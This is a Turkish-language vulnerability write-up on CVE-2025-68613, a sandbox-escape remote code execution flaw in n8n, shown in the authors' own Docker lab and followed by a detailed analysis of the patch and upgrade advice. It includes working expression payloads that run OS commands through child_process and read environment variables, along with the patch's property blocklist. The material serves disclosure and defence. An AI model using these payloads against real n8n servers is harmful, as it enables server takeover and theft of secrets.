CVE-2025-68613: n8n'de Kimlik Doğrulamalı Uzaktan Kod Çalıştırma (RCE)
Selim Soylu · @Selim-Soylu
Yağız Eren Kotan · @yagizdll
Bu yazıda n8n iş akışı otomasyon platformunda tespit edilen ve CVSS 9.9 ile en üst kritiklik seviyesinde derecelendirilen CVE-2025-68613 zafiyetini inceliyoruz. Zafiyetin ne olduğundan, hedef ortamın yapısına, tetiklenme adımlarından payload ile sistem üzerinde komut çalıştırmaya kadar tüm süreci kendi test ortamımızda adım adım gösteriyoruz.
CVE-2025-68613 Nedir?
n8n, kullanıcıların görsel bir arayüz üzerinden iş akışları (workflow) oluşturup otomasyonlar kurmasına imkân veren düşük kodlu (low-code) bir platform. CVE-2025-68613, bu platformda kimliği doğrulanmış kullanıcıların sunucu üzerinde keyfi kod çalıştırmasına izin veren kritik bir zafiyet.
Zafiyetin kritiklik derecesinin bu kadar yüksek olmasının sebebi, sömürülmesinin nispeten kolay olması ve başarılı bir sömürü sonucunda saldırganın sunucuyu tamamen ele geçirebilmesi. Zafiyet n8n'in 0.211.0 sürümünden itibaren mevcut ve yamanın uygulandığı 1.120.4, 1.121.1 ve 1.122.0 sürümlerinden önceki tüm sürümleri etkiliyor.
Zafiyet, CWE sınıflandırmasında CWE-913: Improper Control of Dynamically-Managed Code Resources (Dinamik Olarak Yönetilen Kod Kaynaklarının Yetersiz Kontrolü) kategorisine giriyor. Bunun sebebi, kullanıcı tarafından girilen expression ifadelerinin yeterince izole edilmeden (sandbox dışına taşacak şekilde) çalıştırılabiliyor olması.
| Alan | Değer |
|---|---|
| CVSS v3.1 Skoru | 9.9 (Kritik) |
| CVSS Vektörü | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-913 (Improper Control of Dynamically-Managed Code Resources) |
Etkilenen Sürümler
Resmi danışma kaydında (advisory) iki ayrı etkilenen sürüm aralığı listeleniyor:
| Sürüm Dalı | Etkilenen Sürümler | Güvenli (Yamalı) Sürüm |
|---|---|---|
| Kararlı dal | >= 0.211.0, < 1.120.4 | 1.120.4 |
| 1.121.x | >= 1.121.0 | 1.121.1 |
1.120.4, 1.121.1 ve 1.122.0 sürümlerinin tümü bu sorunu düzeltmiştir; resmi açıklama 1.122.0 veya üzeri sürüme yükseltmeyi önerir, çünkü bu sürüm ifade değerlendirmesini kısıtlamak için ek koruma önlemleri getirmiştir.
Bilgi
Yukarıdaki tabloda CNA (GitHub) tarafından verilen 9.9 (Kritik) skoru esas alınmıştır. Ancak NVD kendi değerlendirmesinde kapsam değişikliği olmadığı (S:U) gerekçesiyle 8.8 (HIGH) skoru vermektedir. İki skor arasındaki fark, yalnızca S:C / S:U vektör bileşeninden kaynaklanmaktadır; zafiyetin ciddiyeti her iki değerlendirmede de yüksektir.

Bilgi
Bu yazıda yer alan tüm testler, izole bir Docker konteyneri içinde kurulmuş kendi laboratuvar ortamımızda (n8n_vulnerable_lab) gerçekleştirilmiştir.
Hedef Ortam: n8n Paneli
n8n, kullanıcıların iş akışlarını tasarladığı ve düğüm (node) ayarlarını düzenlediği görsel bir editör sunuyor. Zafiyet tam olarak bu arayüzde, kullanıcıların düğüm parametrelerine dinamik ifadeler ekleyebilmesi üzerinden tetikleniyor. Bu özellik normalde iş akışlarını esnek hale getirmek için var, ama aynı zamanda saldırganlar için ana giriş noktasını oluşturuyor.

Panele giriş yapabilmek için önce bir sahip (owner) hesabı oluşturmak gerekiyor:

Hesap oluşturulduktan sonra karşımıza çıkan genel bakış panelinden yeni bir iş akışı oluşturabiliyoruz:

Zafiyetin Tetiklenmesi
Sisteme yüklenecek payload, Node.js'in process ve child_process modüllerini kullanarak işletim sistemi komutlarını çalıştırmayı hedefliyor. Bunu n8n arayüzünden eklenen bir workflow içinde manuel tetikleyici (manual trigger) ve Edit Field düğümü ile çalıştırıyoruz.

Payload Ekleme
Edit Fields düğümü üzerinden aşağıdaki ifadeyi bir alana yazıyoruz:
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}Bu ifade çalıştırıldığında, uygulamayı çalıştıran kullanıcının id çıktısının görüntülenebildiğini gözlemliyoruz. Bu, sunucu üzerinde komut çalıştırabildiğimizin doğrudan bir kanıtı.

Dosya Okuma
Zafiyeti bir adım ileri taşıyıp dosya sistemine erişimi test etmek için Docker konteynerinin içinde bir test dosyası oluşturuyoruz:
docker exec -it n8n_vulnerable_lab /bin/sh
echo "Selim Soylu - RCE Test Basarili! (CVE-2025-68613)" > /tmp/soylu.txt
cat /tmp/soylu.txt
Ardından aynı payload'ı execSync içeriğini cat /tmp/soylu.txt olacak şekilde değiştirerek Edit Fields üzerinden tekrar tetikliyoruz:
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /tmp/soylu.txt').toString() })() }}Çıktıda dosyanın içeriğinin eksiksiz şekilde döndüğünü görüyoruz. Yani edit field üzerinden tetiklemelerle, komutu değiştirmek dışında herhangi bir ek adıma gerek kalmadan dosya sistemine okuma erişimi sağlanabiliyor. Aynı yöntem kullanılarak bir ters kabuk (reverse shell) bile elde edilebiliyor.

Açık Nasıl Kapatıldı?
Sorunun kaynağı: this
JavaScript'te normal bir function, bir nesneye bağlı olmadan çağrıldığında (strict mode dışında) this değeri global nesneyi gösterir. Node.js'te global nesne de process'e erişim demektir. Yani expression içine yazılan şöyle masum görünen bir ifade:
{{ (function() { return this.process.env })() }}sandbox'ın dışındaki gerçek process nesnesine ulaşıp sunucunun ortam değişkenlerini okuyabiliyordu. Oradan da process üzerindeki modül yükleme mekanizmalarına uzanarak sunucuda kod çalıştırmak mümkün hale geliyordu.
n8n'in mevcut korumaları (PrototypeSanitizer gibi) __proto__ veya constructor gibi tehlikeli property erişimlerini engelliyordu, ama this üzerinden global nesneye ulaşma yolunu hesaba katmıyordu. Patch tam olarak bu boşluğu kapatıyor.
1. Altyapı: ast-types yükseltmesi
Patch önce ast-types kütüphanesini 0.15.2'den 0.16.1'e yükseltiyor. Bu kütüphane JavaScript kodunun AST'sini (soyut sözdizimi ağacı) oluşturmaya ve üzerinde gezinmeye yarıyor.
// packages/workflow/package.json
- "ast-types": "0.15.2",
+ "ast-types": "0.16.1",
// package.json (kök)
"overrides": {
+ "ast-types": "0.16.1",Kök package.json'daki overrides, dolaylı bağımlılıklar dahil tüm projede tek bir sürümün kullanılmasını zorunlu kılıyor. Yeni sanitizer AST'yi yeniden yazarak çalıştığı için bu tutarlılık önemli.
Yeni sürümde klasör yapısı değiştiğinden expression-extension.ts'deki bir tip import'u da güncellenmiş:
- import type { ExpressionKind } from 'ast-types/gen/kinds';
+ import type { ExpressionKind } from 'ast-types/lib/gen/kinds';Bunlar güvenlik düzeltmesinin kendisi değil, sıradaki adımlar için zemin hazırlığı.
2. Sanitizer'ı motora bağlamak
n8n'in expression motoru Tournament, bir ifadeyi çalıştırmadan önce AST'ye çevirir ve bu ağaç üzerinde "hook" adı verilen dönüşümleri uygular. Hook'lar iki gruba ayrılır: before (motorun kendi dönüşümlerinden önce) ve after (sonra).
// expression-evaluator-proxy.ts
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
- before: [],
+ before: [FunctionThisSanitizer],
after: [PrototypeSanitizer, DollarSignValidator],
});Patch öncesinde before listesi boştu. Şimdi buraya yeni FunctionThisSanitizer ekleniyor. Böylece kullanıcının yazdığı kod, herhangi bir işlemden geçmeden önce ilk olarak bu sanitizer tarafından düzenleniyor.
3. Asıl düzeltme: FunctionThisSanitizer
Patch'in kalbi expression-sandboxing.ts dosyasına eklenen bu fonksiyon. Fikri basit: Kullanıcının yazdığı her normal function'ın this değerini, global nesne yerine zararsız bir nesneye sabitlemek.
Zararsız bağlam: EMPTY_CONTEXT
const EMPTY_CONTEXT = b.objectExpression([
b.property('init', b.identifier('process'), b.objectExpression([])),
]);Bu, AST olarak { process: {} } nesnesini temsil ediyor. Fonksiyonların this'i artık bu nesneyi gösterecek. İçine boş bir process konmasının nedeni şu: this.process.env gibi bir ifade hata fırlatmak yerine sessizce undefined dönüyor ve gerçek process'e hiçbir şekilde ulaşamıyor.
Durum 1: Hemen çağrılan fonksiyonlar (IIFE)
Sanitizer, AST'de bir fonksiyon çağrısı gördüğünde çağrılan şeyin doğrudan bir function ifadesi olup olmadığına bakıyor. Öyleyse çağrıyı .call() ile yeniden yazıyor:
// Önce
(function(x) { return x * 2; })(5)
// Sonra
(function(x) { return x * 2; }).call({ process: {} }, 5).call() ilk argümanı this olarak kullandığı için fonksiyon artık global nesneye değil, EMPTY_CONTEXT'e bağlanıyor. Diğer argümanlar olduğu gibi aktarılıyor.
Durum 2: Callback olarak verilen fonksiyonlar
Fonksiyon hemen çağrılmıyor, örneğin map'e callback olarak veriliyorsa, ne zaman ve nasıl çağrılacağı belli değil. Bu durumda .bind() kullanılıyor:
// Önce
[1, 2, 3].map(function(n) { return n * 2; })
// Sonra
[1, 2, 3].map((function(n) { return n * 2; }).bind({ process: {} })).bind() ile oluşturulan fonksiyonun this'i kalıcı olarak sabitlenir. Sonradan kim, nasıl çağırırsa çağırsın değişmez.
İç içe fonksiyonlar
Her iki durumda da kod dönüştürmeden önce this.traverse(path) çağırıyor. Bu, ağacın önce en içteki düğümlerinin işlenmesini sağlıyor (depth-first). Böylece iç içe yazılmış fonksiyonların hiçbiri atlanmıyor. Sonrasında dönen return false ise yeni oluşturulan düğümün tekrar ziyaret edilip sonsuz döngüye girilmesini engelliyor.
İsimli fonksiyonlar da desteklendiği için function factorial(n) { ... } gibi kendini çağıran (recursive) ifadeler sorunsuz çalışmaya devam ediyor. Arrow function'lar (() => ...) ise zaten kendi this'lerini oluşturmadığı için bu dönüşüme ihtiyaç duymuyor.
4. İkinci savunma hattı: yasaklı property listesi
utils.ts içindeki unsafeObjectProperties listesi, PrototypeSanitizer'ın erişimi engellediği property isimlerini tutuyor. Patch bu listeye üç yeni isim ekliyor:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
+ 'mainModule',
+ 'binding',
+ '_load',
]);Bu üç property, Node.js'te modül yüklemeye ve düşük seviyeli native bileşenlere erişmeye açılan kapılar:
mainModule:process.mainModuleüzerinden uygulamanın ana modülüne ve onunrequirefonksiyonuna ulaşılabilir.binding:process.binding, Node.js'in dahili native modüllerine doğrudan erişim sağlar._load: Node'un modül sisteminin dahili yükleme fonksiyonudur.
Bu değişiklik, bir saldırgan bir şekilde process'e benzer bir nesneye ulaşsa bile ondan kod çalıştırmaya giden yolları kapatmayı amaçlıyor. Yani FunctionThisSanitizer kapıyı kapatıyor, bu liste de kapı bir şekilde aralanırsa diye arkasına bir kilit daha ekliyor.
Sonuç
Patch, sorunu iki katmanda ele alıyor:
- Kaynakta engelleme:
FunctionThisSanitizer, normal fonksiyonlarınthisüzerinden global nesneye ulaşmasını AST seviyesinde, kod daha çalışmadan önce engelliyor. - Derinlemesine savunma: Yasaklı property listesi genişletilerek Node.js'in modül yükleme mekanizmalarına giden yollar ayrıca kapatılıyor.
this artık kullanıcının kontrolü dışında, güvenli bir nesneye bağlı. Bu yaklaşım, kullanıcıların mevcut expression'larını bozmadan (recursive fonksiyonlar, callback'ler, $json gibi workflow değişkenlerine erişim) açığı kapatmayı başarıyor.
n8n'i kendi sunucunuzda çalıştırıyorsanız, kullandığınız sürüm dalına göre en az 1.120.4, 1.121.1 veya 1.122.0 sürümüne yükseltmeniz öneriliyor.

